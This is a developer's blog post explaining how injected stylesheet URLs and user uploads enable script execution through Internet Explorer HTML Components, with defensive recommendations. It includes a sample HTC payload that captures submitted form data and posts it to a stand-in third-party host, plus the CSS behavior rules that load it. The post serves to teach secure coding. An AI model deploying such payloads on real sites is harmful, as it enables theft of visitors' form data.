Web application security's had a lot of coverage in recent times with a lot of attention paid to approaches to dealing with user generated content or exposing form or query string data to users. Thanks to a number of big hacks over the years you commonly hear about the risks of not properly encoding user data and the risk it poses to your visitors. One thing you don't hear often is how user entered CSS can have just as much risk attached to it – thanks to accidental support for HTML Components (HTC's).
Recently I was conducting a code and security review of a web application at work where I came across a vulnerability that allowed users to inject CSS style sheet URL references into a page combined with the site supported user asset upload.
At the time I was discussing why this was a bad idea with one of the developers I manage. He had the impression:
"…
Really?! But the worst that could happen is someone injecting some bad CSS styling into our pages. That's not really a security vulnerability, just a risk of looking like MySpace.
…"
Although most product and marketing managers would shudder at the thought of their brand websites potentially being defaced (or ending up looking like MySpace), the reality of this kind of vulnerability is actually a bit more serious.
Previous to IE 10 there were certain CSS properties that allowed script execution from within CSS styles. Html Components (HTC's).
Whitelisting input = more than important than you think
When you hear about the perils of not properly sanitizing user input, you hear time and again about making sure you encode and whitelist your applications output whendisplaying user generated content like form posts and query string data (or even file uploads).
My good friend Troy Hunt has a number of posts on just this topic.
Troy also covers how allowing outside users' input could affect your brand and allow users to deface your website which he covered when reviewing Billabong's website vulnerabilitys and how they allowed users to inject cross site scripting and malicious html into the Billabong website's search and competition capture functionality.
As developers we've been repeatedly reminded recently:
- User entered content shouldn't be shown back to users without encoding.
- User input should be white listed where possible. not blacklisted.
But what about the times where you feel it's OK to accept user generated content?
Time's like where you think you're OK because you "just have a WYSIWG editor with most of the functionality turned off except basic formatting". Maybe you just want to allow people to make things bold?
The fact that this sounds silly just saying it aside, it does highlight that there may be times where you don't think user input it bad, or you feel that white listing your user input saves you.
How about where you have website functionality that allows websites to feed in CSS style sheets?
An example I saw during a code review recently was a perfect example of this being done incorrectly:
http://mywebsite.com/shop?css=/css/bluetheme.css
And while this was sanitized to be only valid url paths, the resulting html injected into the page ended up looking like this:
<link rel="stylesheet" type="text/css" href="/css/bluetheme.css">
And this was a shopping checkout page…
Enter CSS Html Components
This brings the point of this post to the fore: We hear a lot about disallowing or white listing and encoding user entered strings within our sites. These messages are usually communicated to us because of a fear of one of a number of things:
The risk of a malicious website visitor injecting JavaScript into your page.
But the risk doesn't end with user generated strings that are going to be displayed into our pages visibly. Sometimes just references to things you might normally think are safe can enable just as much attack surface.
CSS is one of these things – if a user can provide CSS styling to any user entered content you would normally assume that there's no risk.
Maybe you want to enable them to add basic styling to a piece of formatted content – something you see sometimes in forums and comments sections.
I'm here to tell you that CSS styles are just as bad as any other form of user generated content when it comes to injecting JavaScript into a page.
Consider that what I uncovered at the same time elsehwere the site allowed uploads for user customisation, allowing the following misuse of the above URL:
http://mywebsite.com/shop?css=/user/uploadedfiles/evil-css.css
<link rel="stylesheet" type="text/css" href="/user/uploadedfiles/evil-css.css">
and inside this CSS sits this single style:
body {
behavior:url(/user/uploadedfiles/evil-uploaded-component.htc);
}
The above tag is a valid part of the W3C Html spec under HTML Components. Microsoft took more of a liking to this than any of the other browser makers over the years and although you may not have seen it too much it's valid CSS.
This functionality allows you to run JavaScript from within CSS styles.
And it's supported in Internet Explorer 5-9.
Consider the following example HTC used against the above CSS style:
<public:attach event="onload" for="window" onevent="initialise()" /> <script language="javascript"> function initialise() { alert("I'm stealing your stuffeses"); } </script>
When I run this in IE 8 I get the following result:
This could achieve the same result with a simple style tag on a page element as well:
<!-- this url should be a .htc, but works with other extensions also --> <p style="behavior: url(/user/uploadedfiles/evilcomponent.htc);">This is styled text</p>
But obviously my example above is a little simple-minded.
It would be all too easy to capture things like form data inflight by connecting an event handler to the submit button of a form (example uses jQuery to minimise the code required…).
<public:attach event="onload" for="window" onevent="initialise()" /> <script language="javascript"> function initialise() { $("form").submit(function () { var postData = $(this).serializeArray(); $.ajax({ url: "http://thirdpartywebsite/capture", data: postData, type: "POST", success: function(data, textStatus, jqXHR) { // do nothing } }); return; }); } </script>
The Good News
HTML components stopped being supported in Internet Explorer 10 with the release of Windows 8. Chrome, Safari and Firefox stopped supporting them a long time ago.
This is great as it means that even if you did have this kind of vulnerability on one of your sites any of your users on Chrome, Safari, Firefox,IE 10, the more recent Internet Explorer 11 and any browser in the future, won't be vulnerable to this kind exposure.
The problem is a considerable cross section of web users haven't upgraded their copy of Internet Explorer yet leaving them vulnerable.
As of today the global stats for StatCounter show Internet Explorer contributing to 26% of the worlds browser usage. 16.78% of the world's web users are surfing the net today using IE 9 or lower and are affected by this exploit.
That's a lot of users if you've got a site that attracts a global audience, and the likelihood that these same users probably won't be rockin the latest and greatest antivirus or being savvy enough to sniff out a vulnerability is also low.
Things you can do about it
Avoid user specified CSS functionality
Avoid users being able to specify styles or style sheets to content they post to your website as user provided strings for use in your application.
Avoid making user uploaded files visible on your website
If a user can upload a file to your site that is then downloadable, this means that this user provided file can be used as a trusted source for your domain by browsers as they are served from the same domain name. HTML components work on sites using Internet Explorer when they are on the same domain as the CSS style tag or style sheet displayed.
Encode all user content uploaded content
If your application allows users to submit form or query string data for use within your site;
- forums
- blog comments
- user profile pages inside your members area
Then you absolutely must protect your users from malicious members in their ranks.
- HTML encode all user entered data.
- When displaying your user posted data, whitelist their content to only the 66 characters defined under the RFC as not having a "special purpose" (ie aren't used for any language specifics).
Whitelist any URL's or paths provided by users.
If your application must accept user provided paths or URLs to be used in logical paths within your application, such as if you have a skinnable website or service, you need to whitelist these paths and URL's to those that you control. Don't simply accept any input.